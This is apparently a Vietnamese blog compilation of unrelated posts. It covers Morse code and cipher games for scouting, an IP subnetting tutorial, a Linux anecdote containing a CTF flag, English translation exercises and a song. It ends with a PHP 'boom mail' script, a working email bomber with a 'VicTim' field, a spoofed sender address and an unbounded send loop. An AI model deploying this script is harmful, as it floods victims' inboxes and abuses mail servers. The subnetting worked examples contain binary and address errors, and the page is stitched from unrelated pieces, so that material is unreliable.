Truyền Tin Bằng Mật Mã MORSE



Hiện nay, hệ thống bưu điện trên thế giới không còn sử dụng tín hiệu Morse để truyền đi các bức điện tín nữa. Bởi vì nó đã nhường chỗ cho những phương tiện hiện đại của công nghệ thông tin như: Fax, Email… những kiểu truyền tin này đã phổ biến rộng rãi trên khắp toàn cầu thông qua đường dẫn truyền Internet. Tuy nhiên, trong trò chơi sinh hoạt tập thể của các đội nhóm hiện nay, chúng ta vẫn còn sử dụng tín hiệu Morse (Moóc-xơ) như một công cụ để phát triển trí tuệ, sự nhạy bén và phản xạ nhanh. Nhưng lớn hơn hết, khi sử dụng tín hiệu Morse để giải mã, ta cũng trân trọng gìn giữ một di sản qúy báu của nhân loại. Nhờ vào đó mà cả thế giới đã đi một bước khá lớn trong công nghệ thông tin toàn cầu. Tín hiệu Morse được truyền đi khắp thế giới được xem như một phát minh vĩ đại nhất của thế kỷ 19. Trong một thời gian dài gần 2 thế kỷ, nó đã giúp cho biết bao nhiêu người ở những vị trí khác nhau trên thế giới được gần lại, nhờ những bức điện của những nhân viên bưu chính phát đi.
* Sơ lược lịch sử:
Người phát minh ra dạng truyền tin Morse là ông: Samuel Finley Brese Morse.Ông sinh ngày 27/4/1791, là một họa sĩ người Mỹ, đã từng sang Anh và Pháp để học hội họa.
1837: Ông được cấp bằng phát minh điện báo Morse.
1844: Bản tin Morse đầu tiên trên thế giới được phát đi từ Washington đến Baltimore (khoảng 60 km) với nội dung “Vinh danh những kỳ công của Thiên chúa”.
1872: Ông qua đời, thọ 81 tuổi.
* Sơ lược lịch sử:


Người phát minh ra dạng truyền tin Morse là ông: Samuel Finley Brese Morse.Ông sinh ngày 27/4/1791, là một họa sĩ người Mỹ, đã từng sang Anh và Pháp để học hội họa.


1837: Ông được cấp bằng phát minh điện báo Morse.


1844: Bản tin Morse đầu tiên trên thế giới được phát đi từ Washington đến Baltimore (khoảng 60 km) với nội dung “Vinh danh những kỳ công của Thiên chúa”.


1872: Ông qua đời, thọ 81 tuổi.
 

































 























 















* Hướng dẫn truyền tin bằng Morse:


- Cách phát tín hiệu bằng còi:


Còi Morse thường được chế tạo bằng kim loại (thau) hoặc bằng nhựa, chúng ta phải dùng môi ngặm kín miệng còi. Đầu lưỡi đè kín lỗ thổi.


Khi thổi âm thanh ngắn (TIC), chúng ta nhả lưỡi ra và đậy lại ngay. Động tác này xảy ra thật nhanh, làm cho người nghe thấy rõ một tiếng TIC thật đanh gọn.


Khi thổi âm thanh dài (TE), chúng ta nhả lưỡi ra một lúc và đậy lại sau khoảng ½ giây. Động tác này xảy ra thật thong thả, làm cho người nghe thấy rõ một tiếng TE dài hơn tiếng TIC.


- Các bước thực hiện phát một bản tin bằng tín hiệu Mosre:


+ Chuẩn bị: Một hồi te thật dài


+ Tín hiệu bắt đầu bản tin: Có một số tài liệu sử dụng nhiều chữ A để khởi đầu bản tin. Nhưng chính xác nhất là ta thổi 2 chữ NW khoảng mấy lần, như thế người dịch chỉ cần lấy giấy bút ra để chuẩn bị nhận tin.


+ Nội dung bản tin: Tùy theo trình độ người dịch mà thổi nhanh hoặc chậm. Với bậc 1 thì tốc độ khoảng 15 ký tự/1 phút. Thổi rành mạch từng ký tự, hết một chữ thì nghỉ một chút, hết một câu thì nghỉ lâu hơn một chút. Thường thì nên thổi 2 lần. Có đôi lúc cũng phải thổi lại đến lần thứ 3.


+ Hiệu chấm dứt bản tin: Thổi chữ AR mấy lần.


Ví dụ: với bản tin có nội dung TIẾN VÀO THẾ KỶ 21, ta sẽ thổi như sau:


* TE…


* TE TIC (N), TIC TE TE (W)/ TE TIC (N), TIC TE TE (W)/ TE TIC (N), TIC TE TE (W),…


* TE (T), TIC TIC (I), TIC (E), TIC (E), TE TIC (N), TIC TIC TIC (S) / TIC TIC TIC TE (V), TIC TE (A), TE TE TE (O), TIC TIC TE TIC (F) / TE (T), TIC TIC TIC TIC (H), TIC (E), TIC (E), TIC TIC TIC (S) / TE TIC TE (K), TE TIC TE TE (Y), TIC TE TIC (R), TIC TIC TE TE TE (2), TIC TE TE TE TE (1).


* TIC TE (A), TIC TE TIC (R) / TIC TE (A), TIC TE TIC (R) / TIC TE (A), TIC TE TIC (R), …  


- Bên nhận tin:


+ Sơ đẳng thì nhận bằng kiểu chấm gạch (ban đầu, các điện tín viên của ông Morse cũng nhận tin bằng kiểu chấm gạch). Nhưng kiểu này sẽ làm tốc độ giải mã sẽ chậm lại nhiều, vì ta còn phải có thêm một thao tác tiếp theo là lấy bảng mẫu tự Morse ra dò từng chữ một. Cuối cùng mới có một bản tin hoàn chỉnh.


+ Trước đây khá lâu, có một người điện tín viên nghĩ ra một cách dịch tháp Morse, cách sử dụng tháp Morse như sau:


CÁCH SỬ DỤNG THÁP MORSE


* Nếu chữ khởi đầu bằng TE (-), ta sử dụng phần NỬA THÁP BÊN TRÁI. Theo đó:


- Nếu âm tiếp theo là TE (-), ta sẽ đi theo hướng ngang.


- Nếu âm tiếp theo là TIC (.), ta sẽ đi theo hướng lên.


Ví dụ: TE – TE – TIC – TE sẽ là NỬA THÁP TRÁI – NGANG - LÊN – NGANG: sẽ là chữ Q.


* Nếu chữ khởi đầu bằng TIC (.), ta sử dụng phần NỬA THÁP BÊN PHẢI. Theo đó:


- Nếu âm tiếp theo là TE (-), ta sẽ đi theo hướng ngang.


- Nếu âm tiếp theo là TIC (.), ta sẽ đi theo hướng lên.


Ví dụ:  TIC – TIC – TE – TIC sẽ là NỬA THÁP PHẢI – NGANG – LÊN – NGANG: sẽ là chữ F.






























+ Cách thứ 3 là cách được xem là hiệu qủa nhất vì đúng theo tiến trình Sư phạm: Học theo 6 bảng đối nhau. Cách này học lần lượt từ bảng 1 đến bảng 6 từ dễ đến khó. 


 






















 












































Quy định chung khi viết dấu đường:
1. Viết bên phải đường, rõ ràng, dễ thấy
2. Khoảng cách vừa phải, không nên cách xa quá
3. Nếu có nhiều đội thì nên có ký hiệu riêng


MẬT THƯ


 Khái niệm: Là một bức thư được viết dưới dạng bí mật. Nhằm giữ kín nội dung mà giữa người gửi và người nhận cần trao đổi.
Mật thư thường có 2 phần:
1. Bản mật mã: Là những ký tự hoặc hình vẽ, thoạt đầu có vẽ rất khó hiểu. Sau khi nghiên cứu kỹ chìa khóa, ta sẽ tìm ra hướng giải bằng cách đối chiếu những dữ kiện mà chìa khoá đã gợi ý.
2. Chìa khóa: Là một hình thức gợi ý cho người dịch tìm ra hướng giải mật thư. Chìa khóa có thể là một câu thơ hoặc một ký hiệu nào đó bằng hình vẽ. Ký hiệu của chìa khóa là: O
Sau khi giải mã xong, ta sẽ được một bản văn hoàn chỉnh, ta gọi đó là:
Bạch văn: Là một văn bản hoàn chỉnh, tức là sau khi dịch xong, ta viết ra thành một bức thư bình thường mà ai cũng có thể đọc được.


BẢNG CHỮ CÁI QUỐC TẾ:

                    A  B  C  D  E  F  G  H  I  J  K  L  M

                     N  O  P  Q  R  S  T  U  V  W  Y  Z


I. Quốc ngữ điện tín:
- Cách đặt dấu mũ: Thay thế trực tiếp.
- Cách đặt dấu thanh: Đặt sau mỗi từ.
Ví dụ: Với câu: Công cha như núi Thái Sơn,
                    Nghĩa mẹ như nước trong nguồn chảy ra.  
Sẽ được viết là:
                Coong cha nhuw nuis Thais Sown
    Nghiax mej nhuw nuowcs trong nguoonf chayr ra.       
II. Đọc ngược:
Có 2 cách đọc:
1. Đọc ngược cả văn bản:
Ví dụ với câu: Kỹ năng sinh hoạt.
Có thể viết là: tạoh hnis gnăn ỹk
                (jtaoh hnis gnwan xyk)  
2. Đọc ngược từng từ:
ỹk gnăn hnis tạoh
(xyk gnwan hnis jtaoh)
III. Đọc lái:
Trong lúc trò chuyện với nhau,  thỉnh thoảng chúng ta vẫn thường hay nói lái để tạo ra những tình huống vui nhộn. Từ đó, ta tạo ra những mật thư bằng cách này.
Ví dụ ta nghe người nào đó nói:”Ngầu lôi tăng kể mẵn cuối khíu chọ”. Thoạt đầu, ta cứ tưởng anh ta là người mới học tiếng Hoa. Nhưng khi nghe giải thích rõ mới hiểu, thì ra anh ta muốn nói: Ngồi lâu tê cẳng muỗi cắn khó chịu.
IV. Đánh vần:
Ở cách này, yêu cầu người dịch phải biết cách đánh vần giống như các em học sinh tiểu học. Nếu đọc lớn lên trong lúc dịch thì sẽ dễ hình dung hơn.
V. Bỏ đầu bỏ đuôi:
Ta chỉ cần bỏ chữ đầu và chữ cuối câu. Phần còn lại chính là nội dung bản tin.

















VI. Số thay chữ:
Đây là dạng mật thư rất đơn giản. Ta chỉ cần viết ra 26 chữ cái, rồi sau đó, viết ngay dưới vị trí A là số 1, B là số 2… và Z là số 26. Sau đó dịch bình thường bằng cách: Cứ thấy số nào thì điền chữ tương ứng vào bên dưới.
 








Như vậy, người đố mật thư có thể thay đổi khóa. Thay vì A=1, thì ta có thể cho A=2, 3… hay một số bất kỳ nào khác, hoặc ta không dùng A mà có thể dùng một chữ nào đó = một số nào đó.
VII. Chữ thay chữ:
Khác với loại mật thư “Số thay chữ” ở trên, loạmật thư “Chữ thay chữ” sẽ thể hiện cho chúng ta thấy một bản tin toàn là những chữ khó hiểu. Từ đó, ta phải giải khóa để hiểu những chữ đó muốn nói gì. Ở đây, ta thử với loại chìa khóa A=b. Trước hết ta phải nhập bảng dưới đây:
 








Như vậy, người đố mật thư có thể thay đổi khóa. Thay vì A=b, thì ta có thể cho A= một chữ bất kỳ nào khác, hoặc ta không dùng A mà có thể dùng một chữ nào đó cũng được.

VIII. Mưa rơi:
Khi nhìn thấy loại mật thư này, ta chỉ cần đi theo mũi tên của khóa. Ở đây, chữ đầu tiên là chữ C, chữ thứ nhì theo hướng đi của khóa là chữ O. Theo đó, ta sẽ dịch được hết bản tin.
 












IX. Chuồng bò:
Đây là một dạng mật thư rất quen thuộc (còn gọi là mật thư góc vuông – góc nhọn). TRước hết, chúng ta phải nắm rõ 2 khung cơ bản dưới đây. Cứ mỗi ô sẽ chứa 2 chữ:





Với chữ nằm ở phía bên nào thì ta chấm 1 chấm ở phía bên đó.

Riêng ở khung chéo thứ 2, cách thể hiện cũng chưa có sự thống nhất ở nhiều tài liệu khác nhau. Do đó, chúng tôi liên kê ra hết để cho người soạn mật thư tuỳ ý lựa chọn để lập chìa khóa chom mình. Có tất cả 6 cách để thể hiện, ta muốn làm theo kiểu nào thì đặt khóa theo kiểu nấy.


 









 











Đây là dạng mật thư mà ta thường thấy đăng trên các báo Nhi đồng.
Khi thấy một hình vẽ nào đó, ta phải liên tưởng ngay nó là hình gì? Thí dụ như đó là: hình trái CAM. Nếu thấy bên trên ghi là –C và +N, thì ta cứ thực hiện theo yêu cầu của hình. Tức là CAM – C = AM; AM + N = NAM. Vậy chữ dịch được sẽ là chữ NAM. Cứ thế, ta lần lượt tìm ra ý nghĩa của những hình khác còn lại. Sau đó ráp nối lại sẽ thành một câu có ý nghĩa.
Bản mật thư trên sẽ được dịch là: NAM QUỐC SƠN HÀ NAM ĐẾ CƯ.

CÁCH GIẢI MÃ MẬT THƯ

1. Phải hết sức bình tĩnh
2. Tự tin nhưng không được chủ quan
3. Nghiên cứu khóa giải thật kỹ
4. Đặt các giả thiết và lần lượt giải quyết
5. Đối với việc giải mật thư trong trò chơi lớn, ta nên sao y bản chính và chia thành nhiều nhóm nhỏ để dịch. Như thế, ta sẽ tận dụng được hết những chất xám trí tuệ ở trong đội. Tránh tình trạng xúm lại, chụm đầu vào tranh dành xem một tờ giấy để rồi kết quả không đi tới đâu, mà dễ làm rách tờ giấy mật thư của chúng ta nữa.
6. Cuối cùng, nếu dịch xong, ta viết lại bản bạch văn cho thật rõ ràng, sạch sẽ và đầy đủ ý nghĩa.

Cách chia địa chỉ IP

Những bảng và công thức cần nhớ:
Bảng 1:
2^0=1
2^1=2
2^2=4
2^3=8
2^4=16
2^5=32
2^6=64
2^7=128
2^8=256

Công thức 1:
n bit => 2^n số nhị phân n bít
0000..0= 0
  ||
1111..1= 2^n-1

Bảng 2:
0000 0000 = 0
1000 0000 = 128
1100 0000 = 192
1110 0000 = 224
1111 0000 = 240
1111 1000 = 248
1111 1100 = 252
1111 1110 = 254
1111 1111= 255

Bảng 3:
Gọi n là số bit mượn => bước nhảy = 2^(8-n)

số bít mượn|  1       2     3    4   5  6  7  8 |
-------------------------------------------------------------
bước nhảy  |  128    64   32  16  8  4  2  1 |

Bài 1:
Cho ip 192.168.1.1 và subnet 255.255.255.0. Tìm địa chỉ mạng

ta có:
192.168.1.1=     1100 0000.1010 0000.0000 0001.0000 0001
255.255.255.0= 1111 1111.1111 1111.1111 1111.0000 0000
                     --------------------------------------------------------------------
                        1100 0000.1010 0000.0000 0001.0000 0001
=> địa chỉ mạng: 192.168.1.0

Bài 2:  Chia IP ở lớp C :
 Chia 192.168.10.0 / 24 thành 2 mạng con

số bit cần lấy la: 2^1=2 mạng
đổi ra hệ nhị phân ra được:
192.168.10.0= 1100 0000.1010 0000.0000 0001.0000 0001
Lấy 1 bit hostID cho netID
Đối với lớp C có 24 bit NetID và 8bit hostID, lấy 1 bít hostID cho netID => số bit hostID = 7 bit, số bit ở netID = 25 bit
Số host mội mạng la: 2^7 =128 (gồm cả địa chỉ mạng và broad cast)
ta có: 192.168.1.0 -> 192.168.1.127
          192.168.1.128 -> 192.168.1.255
Số host thực là: 128-2 =126
          192.168.1.1 -> 192.168.1.126
          192.168.1.129 -> 192.168.1.254
Subnet ban đầu là 24 bit:
   1111111.11111111.11111111.00000000
Lấy đi 1 bit:
   1111111.11111111.11111111.10000000
=> 255.255.255.128
Vậy 2 mạng con là:
  192.168.1.1 / 25 -> 192.168.1.126 / 25
  192.168.1.129 / 25 -> 192.168.1.254 / 25

Bài 3: 192.168.1.0 / 24 => mỗi subnet cần 30 pc

192.168.1.0 đổi ra hệ nhị phân ta được:
   11000000.10100000.00000001.000000000
   11111111.11111111.11111111.000000000
30<=2^5 => hostID sẽ cần 5 bit
=> Số bit ở netID la: 27 bit
Số host trên mỗi mạng là: 2^5 =32
ta có: 192.168.1.0 / 27
          192.168.1.32 / 27
          192.168.1.64 / 27
          192.168.1.96 / 27
          192.168.1.128 / 27
          192.168.1.160 / 27
          192.168.1.192 / 27
          192.168.1.224 / 27
Bài 4: Chia IP lớp B
 Chia 172.16.0.0 / 16 thành 2 mạng con
Lấy 1 bit từ hostID cho netID
172.16.0.0 / 16
255.255.0.0 = 11111111.11111111.00000000.00000000
Đối với lớp B có 16bit cho hostID và 16 bit cho netID
Lấy 1 bit hostID => số bit của hostID là 15bit
=> số bit ở netID là: 17 bit
Số host ở mỗi mạng là: 2^15= 32768 (gồm cả địa chi mạng và broadcast)
Vì lấy 1 bit số bit của hostID là: 2^7= 128
172.16.0.0 -> 172.16.128.255
172.16.128.0 -> 172.16.255.255
Số host thực là: 2^15-2
172.16.0.1 -> 172.16.128.254
172.128.1 -> 172.16.255.254
Subnetmask ban đầu có 16 bit:
11111111.11111111.00000000.00000000
lấy đi 1 bit:
11111111.11111111.10000000.00000000
=> 255.255.128.0 / 17
vậy ip cho 2 mạng:

172.16.0.1 / 17 -> 172.16.128.254 / 17
172.128.1 / 17 -> 172.16.255.254 / 17

Bài tập chia IP

VD1: Xét mạng 192.168.1.0/24 , mượn 2 bit, còn lại 6 bit host, bước nhảy là 64.
Ta có:
- Số subnet có thể có: 2^2 = 4 subnet.
- Số host trên mỗi subnet = 2^6 – 2 = 62 host.
- Các địa chỉ mạng sẽ có octet bị chia cắt (octet thứ 4) là bội số của 64.
- Liệt kê các mạng như sau:
192.168.1.0/26 -> địa chỉ mạng
192.168.1.1/26 ->địa chỉ host đầu.
....
192.168.1.62/26 ->địa chỉ host cuối.
192.168.1.63/26 ->địa chỉ broadcast.
---------------------------------------------
192.168.1.64/26 -> địa chỉ mạng
192.168.1.65/26 ->địa chỉ host đầu
.....
192.168.1.126/26 ->địa chỉ host cuối
192.168.1.127/26 ->địa chỉ broadcast.
---------------------------------------------
192.168.1.128/26 -> địa chỉ mạng
192.168.1.129/26 ->địa chỉ host đầu.
....
192.168.1.190/26 ->địa chỉ host cuối.
192.168.1.191/26 ->địa chỉ broadcast.
---------------------------------------------
192.168.1.192/26 -> địa chỉ mạng
192.168.1.193/26 ->địa chỉ host đầu.
....
192.168.1.254/26 ->địa chỉ host cuối.
192.168.1.255/26 ->địa chỉ broadcast.

Vậy, một mạng lớp C 192.168.1.0/24 đã được chia thành 4 mạng :192.168.1.0/26,
192.168.1.64/16, 192.168.1.128/26, 192.168.1.192/26.
Subnet mask được sử dụng trong ví dụ này là 255.255.255.192

VD2: Xét mạng 172.16.0.0/16, mượn 2 bit. Octet bị chia cắt ( thành 2 phần là net
và host ) là octet thứ 3.
- Số bit mượn là 2 => số mạng con có thể có (tính theo luật subnet zero): 22 = 4
mạng. Số bit mạng bây giờ là 18 bit.
- Số bit host còn lại: 32 – 18 = 14 bit. => số host/subnet = 214 – 2 host.
- Các địa chỉ mạng sẽ có octet thứ 3 là bội số của 64 (octet này bị mượn 2 bit)
- Ta có dải địa chỉ như sau:
172.16.0.0/18
-> Địa chỉ mạng
172.16.0.1/18
-> Địa chỉ host đầu
.. ....
172.16.63.254/18 -> Địa chỉ host cuối.
172.16.63.255/18 -> Địa chỉ broadcast
------------------------------------------------------
172.16.64.0/18 -> Địa chỉ mạng
172.16.64.1.18 -> Địa chỉ host đầu
......
172.16.127.254/18 -> Địa chỉ host cuối.
172.16.127.255/18 -> Địa chỉ broadcast.
--------------------------------------------------------
172.16.128.0/18 -> Địa chỉ mạng
172.16.128.1/18 -> Địa chỉ host đầu
......
172.16.191.254/18 -> Địa chỉ host cuối
172.16.191.255/18 -> Địa chỉ broadcast
-------------------------------------------------------
172.16.192.0/18
-> Địa chỉ mạng
172.16.192.1/18
-> Địa chỉ host đầu
......
172.16.192.254/18 -> Địa chỉ host cuối
172.16.192.255/18 -> Địa chỉ broadcast
-------------------------------------------------------
Subnet mask trong ví dụ 2 là 255.255.192.0

VD3: Cho địa chỉ host 192.168.1.158/28. Hãy cho biết, host này thuộc về subnet
nào?
Giải: /28 => có 28 bit mạng. Octet bị chia cắt là octet thứ 4 => só bit mượn của
octet này là 4 => bước nhảy là 16. Lấy octet thứ 4 của địa chỉ host là 158 chia cho
16 được 9 và còn dư. Ta lấy 16 nhân với 9 được 144. Host này thuộc mạng
192.168.1.144/28

VD4: Cho địa chỉ host 172.16.159.2/18. cho biết địa chỉ này thuộc subnet nào?
Giải: /18 => có 18 bit mạng. Octet bị chia cắt là octet thứ 3 => số bit mượn của
octet này là 2 => bước nhảy là 64. Lấy octet thứ 3 là 159 chia cho 64 được 2 và
còn dư. Ta lấy 64 nhân với 2 được 128. Host này thuộc mạng 172.16.128.0/18.

Tôi đã bắt đâu với Linux ntn

Tôi đến với Linux ko phải là tình cờ ko phải đam mê nó vì khi tôi mới lên đại học tôi cũng chả biết cài gì ngoài chơi game và làm blogger. Thực ra tôi tôi biết đến Linux cũng do ng bạn cùng phòng tôi có nghịch tôi thấy hay và thích tôi bắt đầu nghich thử ban đầu cũng thấy khó, chắc tại ko quen thôi :) . Rùi cũng tìm hiểu thấy hay dần quyết định cài máy thật dùng luôn, mình nhớ lần đấy là mình dùng ubuntu cài bằng wubi thôi, tại do ko quen nên cũng ít dùng. Sau lần có đọc bài về linux và nghe chém gió, lại 1 lần nữa quyết định phải dùng được Linux nên lại cài máy thật thê là mình bắt đầu dùng thôi, đầu tiên là tập cài đặt 1 số chương trình cần dùng, mới đâu cài đặt nó cũng có nhiều khó khăn vì mình ko hiểu nguyên tắc, sau khi cài dc rùi, dùng dc rùi, thấy nó hay hơn win và bắt đầu chỉ dùng ubuntu thôi và bỏ luôn win. Và cũng dùng dc mấy tháng đấy, xong đợt đấy bạn mình có chơi game gì ý 3D hay lém(mình quên mất tên rùi) tại linux ko chạy dc nên lại cài lại win để chơi, hình như mình chơi game đấy 1 tháng thì phải phá đảo luôn. Được 1 thời gian sau ksec thành lập mình có tham gia team linux, rùi lại quyết tâm bỏ win dùng linux, và mình đã làm được mặc dù ko ít tài liệu bị mất. Và dùng đến bây giờ luôn, linux đến với mình ko phải tình cờ, ko phải đam mê mà là cơ duyên hỳ hỳ :)
flag is a l1nux_s3cur1ty_km@

Dịch bài: Juan Uribe

This is Juan Uribe. He’s from Maldrid in Spain but he lives in Argentina. He’s an actor. Mr.Uribe is 23 years old. He works for TV ARGENTINA. 
 He also studies; he study journalism at the Federal University of Argentina. Mr.Uribe cannot sing or dance but he can play the violon very well. 
 He loves classical music and he listens to it everyday from 5:10 am to 8:45 am every morning. After this he has fruit juice for breakfast and goes to university. 
 Mr. Uribe is a very good student. He speaks Spanish, Portuguese, and English. Mr.Uribe lives in a flat. His flat number is 133, on the first floor. 
 Mr.Uribe loves Spanish food but he doesn’t like Argentinian food. He loves  milk caramels but he doesn’t like chocolate. He doesn’t smoke. 



Bài dịch: 
Anh ấy là Juan Uribe. Anh ấy đến từ Maldrid của Tây ban nha nhưng anh ấy sống ở Argentina. Anh ấy là 1 diễn viên. Mr.Uribe đã 23 tuổi. Anh ấy làm việc cho TV ARGENTINA
Anh ấy cũng nghiên cứu, anh ấy học ngành báo chí của đại học Federa Argentina. Mr.Uribe không biết hát và nhảy nhưng anh ấy chơi violon rất tốt.
Anh ấy yêu âm nhạc và anh ấy hay nghe nhạc hằng ngày từ 5:10 sáng tới 8:45 mỗi buổi sáng. Sau đó anh ấy ép trái cây cho bữa sáng và đi đến trường. 
Mr.Uribe là 1 học sinh giỏi. Anh ấy nói được tiếng Tây Ban Nha, Bồ Đào Nha và tiếng anh. Mr.Uribe sống trong 1 căn hộ, có số nhà 133, ở ngay tầng đầu tiên.
Mr.Uribe yếu mon ăn Tây Ban Nha nhưng anh ấy ko thích món ăn Argentinian. Anh ấy yêu caramels sữa nhưng anh ấy ko thích sô cô la. Anh ấy ko hút thuốc.

Từ vựng - Các hoạt động hằng ngày

1, wake up: thức dậy
2, brush teeth: đánh răng
3, brush hair: chải tóc
4, have breakfast: ăn sáng
5, have lunch; ăn trưa
6, have dinner: ăn tối
7, have a shower: tắm
8, drink: uống
9, eat: ăn
10, read: đọc
11, cook: nấu
12, listen to music: nghe nhạc
13, watch TV: xem tv
14, go to bed: đi ngủ

Bài dịch Hachiko

  Have you ever been to Japan? Have you seen the statue of the dog Hachiko in front of the Shibuya train station in Tokyo? If your answer is 'No', please read the story below. 
 Hachiko was the name of the dog of Eiyano- a professor teaching at a university in Japan. Since the first time they met, they were close friends. 
      Everyday when Eiyano went to work, Hachiko followed him to the Shibuya station and waited there till his owner came back. Sadly the professor died at work one day before he could come back home. 
 Although his owner could never be back, Hachiko still continued to wait at the station everyday. Some kind people at the station gave him food. He became a familiar image for passengers at the Shibuya station. 
      In 1935 Hachiko died when he was still waiting. A statue of him was put outside the station. Although the statue is small, it is not difficult to find. 
 It has been the place where people stand waiting for each other. Each day hundreds of people are here waiting for their friends or lovers. 

Bài dịch:
Bạn đã từng đến Japan? Bạn đã từng nhìn tường chú chó Hachiko ở trước nhà ga xe lửa ở Tokyo? Nếu bạn trả lời "không", hãy đọc câu chuện dưới đây.
Hachiko là tên của 1 chú chó của Eiyano - một giáo sư của trường đai học ở Japan. Kể từ lần đâu tiên gặp họ, họ là bạn thân.
Hàng ngày khi Eiyano đi làm, Hachiko đi theo anh ấy tới trạm Shibuya và đợi đến khi anh ấy trở lại. Đáng buồn là giáo sư đã chết khi đang trên đường trở về nhà.
Mặc dù anh ấy không bao giờ trở lại, Hachiko vẫn chờ đợi ở trạm hàng ngày. Một số người đã cho anh ấy thức ăn. Anh ấy đã trở thành 1 hình ảnh quen thuộc đối với hành khách ở Shibuya 
Vào năm 1935 Hachiko đã chết khi trờ đợi. Một bức tượng của anh ấy đã được đặt ở bên ngoài nhà ga. Mặc dù bức tượng hơi nhỏ, nó không phải khó khăn để tìm.
Nó đã được đặt nơi mà mọi người đứng chờ nhau. Hàng ngày hàng trăm người chờ dợi bạn bạn bè hay người yêu họ.

Từ vựng về các thành viên trong gia đình

1, Family: gia đình
2, Grandfather: ông
3, GrandMother: bà
4, Father: bố
5, Mother: mẹ
6, Parent: bố mẹ
7, son: con trai
8, Daughter: con gái
9, aunt: cô
10, Uncle: chú
12, nephew: cháu gái
13, niece: cháu trai
14, cousin: anh, em họ
15, brother: anh (em) trai
16, sister: chị (em) gái



Bài đọc:
F-A-M-I-L-Y
F-A-M-I-L-Y
F-A-M-I-L-Y
Family! 

When you’re in my heart, you’re in my family,
When I’m in your heart, I’m in your family.
When you’re in my heart, you’re in my family,
When I’m in your heart, I’m in your family.

Fathers, mothers, sisters, brothers, 
Cousins, friends, sons and daughters,
Uncles, aunts, and grandparents
I’m so glad you’re my family!

Oh! I’m so glad you’re my family!
I’m so glad you’re my family!
I’m so glad you’re my family!
I’m so glad you’re my family!

Even if you’re far away
or if I see you every day
when you’re in my heart to stay 
You’re my family!

When you’re in my heart, you’re in my family,
When I’m in your heart, I’m in your family.

When you’re in my heart, you’re in my family,
When I’m in your heart, I’m in your family.

Fathers, mothers, sisters, brothers,
Cousins, friends, sons and daughters,
Uncles, aunts, and grandparents
I’m so glad you’re my family!

I’m so glad you’re my family!
I’m so glad you’re my family!
I’m so glad you’re my family!

F-A-M-I-L-Y
F-A-M-I-L-Y
F-A-M-I-L-Y
Family!
Oh, I’m so glad!
Who's that?

Bài dịch:
F-A-M-I-L-Y
F-A-M-I-L-Y
F-A-M-I-L-Y
Gia đình
Khi bạn trong trái tim tôi, bạn ở trong gia đình tôi.
Khi tôi trong gia đình bạn, tôi ở trong gia đình bạn.
Bố, mẹ, anh, chị
Anh em, bạn bè, con trai và con gái
Cô chú và ông bà.
Tôi vui vì bạn là gia đình của tôi.

oh! Tôi vui vì bạn là gia đình của tôi.
Tôi vui vì bạn là gi đình của tôi

Thậm chí nếu bạn có cách xa
Hoặc nếu tôi nhìn bạn suốt ngày
Khi bạn ở lại trong trái tim tôi
Bạn là gia đình của tôi

code boom mail

<?php

@include('header.inc');

if (isset($_POST['submit'])) {

    echo '<form name="mailer" action="boom.php" method="POST"><INPUT type="submit" value="Stop" name="dung"></form><br/>';

    #Kiểm tra thông tin nhập vào

    if (empty($_POST['nhan'])) {

        echo 'Xin mời nhập mail người nhận<br/>';

        exit();

    }

    else {

        $to = $_POST['nhan'];

    }

   

    if (empty($_POST['gui'])) {

        echo 'Xin hãy nhập mail người gửi<br/>';

        exit();

    }

    else {

        $from = $_POST['gui'];

    }

   

    if (empty($_POST['tieude'])) {

        echo 'Xin hãy nhập tiêu đề cho mail<br/>';

        exit();

    }

    else {

        $sub = $_POST['tieude'];

    }





    if (empty($_POST['noidung'])) {

        echo 'Xin hãy nhập nội dung cho mail<br/>';

        exit();

    }

    else {

        $noidung = $_POST['noidung'];

        $noidung .= ' BEAT';

    } #kết thúc kiểm tra

        $headers = "MIME-Version: 1.0" . "\r\n";

        $headers .= "Content-type:text/html;charset=iso-8859-1" . "\r\n";

        $header .= "From: $from\r\n";

        $header .= "Cc: $from\r\n";

        $i = 0;

do

  {

  mail($to,$sub.$i,$noidung.$i,$header);

  $i++;

  echo "+ $i email đã được gửi đi<br/>";

  }

while (!isset($dung));

}

else {

?>

<h3>Nhap Day Du Thong Tin !</h3>

<form name="mailer" action="boom.php" method="POST">

<table border="0">

    <tr>

        <p><td WIDTH="90px">VicTim :</td><td><Input type="text" name="nhan"></td></p>

    </tr>

   

    <tr>

        <p><td WIDTH="90px">Nguoi gui :</td><td><Input type="text" name="gui"></td></p>

    </tr>

   

    <tr>

        <p><td WIDTH="90px">Tieu de:</td><td><Input type="text" name="tieude"></td></p>

    </tr>

    <tr>

        <p><td WIDTH="90px">Noi dung:</td></p>

    </tr>

</table>

<p><TEXTAREA NAME="noidung" COLS="100" ROWS="25"></TEXTAREA></p>

<p><INPUT type="submit" value="Bom Mail" name="submit"></p>

</form>

<?php

    }

    @include('footer.inc');

    ?>